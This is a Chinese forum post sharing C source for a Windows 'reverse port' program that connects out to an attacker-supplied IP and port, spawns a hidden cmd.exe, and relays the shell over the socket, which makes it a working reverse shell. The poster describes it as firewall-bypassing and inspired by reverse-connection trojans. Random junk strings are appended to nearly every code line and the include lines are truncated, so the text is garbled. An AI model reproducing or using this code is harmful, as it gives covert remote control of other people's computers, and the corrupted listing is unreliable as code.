社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 2746阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A10/"Ec<u  
t~Ds)  
/* ============================== )7[>/2aGd  
Rebound port in Windows NT ]r6,^"  
By wind,2006/7 3v5]L3  
===============================*/ E#8`X  
#include w/>k  
#include Fg`r:,(a  
i%v^Zg&FU  
#pragma comment(lib,"wsock32.lib") |OuZaCJG  
Vg&` f  
void OutputShell(); 6^}GXfJAc  
SOCKET sClient; X-6Se  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2}' &38wMT  
NTls64AS.  
void main(int argc,char **argv) a'XCT@B  
{ hH`yQGZ  
WSADATA stWsaData; Y Q3%vH5#y  
int nRet; %\Ig{Rj;  
SOCKADDR_IN stSaiClient,stSaiServer; 6HFA2~A  
enK4`+.7  
if(argc != 3) 7H++ pOF  
{ OJQ7nChMm  
printf("Useage:\n\rRebound DestIP DestPort\n"); |]Pigi7y-  
return; o7&Z4(V  
} [}}oHm3&  
QWxCNt:^?  
WSAStartup(MAKEWORD(2,2),&stWsaData); VqbMFr<k  
U~!97,|ic  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :.DCRs$Q  
9O~1o?ni  
stSaiClient.sin_family = AF_INET; hFs0qPVY  
stSaiClient.sin_port = htons(0); : :e=6i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >c8zMd  
~)Ny8Dh  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A\.k['!  
{ 3eFD[c%mN  
printf("Bind Socket Failed!\n"); C7eaioW$  
return; pjrVPi5&t  
} K\,&wU  
c|hKo[r)  
stSaiServer.sin_family = AF_INET; LHR%dt|M  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0ot=BlMu  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E':y3T@."  
0'c<EJ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I^0bEwqZ~  
{ 0JKbp*H  
printf("Connect Error!"); FV!  
return; RR*z3i`PP  
} ,`S"nq  
OutputShell(); xGPt5l<M&  
} UOT~L4 G  
r]kLe2r:B  
void OutputShell() 8mV`|2>  
{ nke[}Hqf  
char szBuff[1024]; O9:vPbn  
SECURITY_ATTRIBUTES stSecurityAttributes; on\0i{0l8  
OSVERSIONINFO stOsversionInfo; .#lQZo6$\|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SI8mr`gJ  
STARTUPINFO stStartupInfo; !@p@u;djJ  
char *szShell; g>T'R Vb  
PROCESS_INFORMATION stProcessInformation; 52{jq18&  
unsigned long lBytesRead; _lu.@IX-  
CIYTs,u#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :,LX3,  
9iUkvnphh  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Cq}LKiu  
stSecurityAttributes.lpSecurityDescriptor = 0;  Z\4l+.R`  
stSecurityAttributes.bInheritHandle = TRUE; q#c\  
q71Tg  
"e@JMS  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .2Y"=|NdA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,d&~#W]  
\;$j "i&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5lVDYmh  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xud =(HLl  
stStartupInfo.wShowWindow = SW_HIDE; {UvZ  
stStartupInfo.hStdInput = hReadPipe; _u]Wr%D@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !C&}e8M|eX  
pN1W|Wv2  
GetVersionEx(&stOsversionInfo); AL3zE=BL  
lJ:B9n3OzT  
switch(stOsversionInfo.dwPlatformId) !1-:1Whz8  
{ OqHD=D[  
case 1: z;2kKQZm  
szShell = "command.com"; P8:k"i/6J  
break; u4rGe!  
default: 5ju\!Re3X  
szShell = "cmd.exe"; D-69/3PvP  
break; e#<%`\qH  
} H+;>>|+:~  
O F2*zU7M  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @'7'3+ c  
Go= MG:`  
send(sClient,szMsg,77,0); >#)^4-e  
while(1) ZdY:I;)s  
{ 8?LsV<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )Q= EmZbJz  
if(lBytesRead) <` [o|>A Z  
{ -Pt.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W>TG!R 5  
send(sClient,szBuff,lBytesRead,0); @n2Dt d  
} +q n[F70}  
else C2}n &{T  
{ S!WG|75B  
lBytesRead=recv(sClient,szBuff,1024,0); ^/]w}C#:d  
if(lBytesRead<=0) break; y_mTO4\C2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -&q@|h'  
} wN NXUW  
} *$e1Bv6 $  
|BGB60}]f  
return; &s6;2G&L$  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五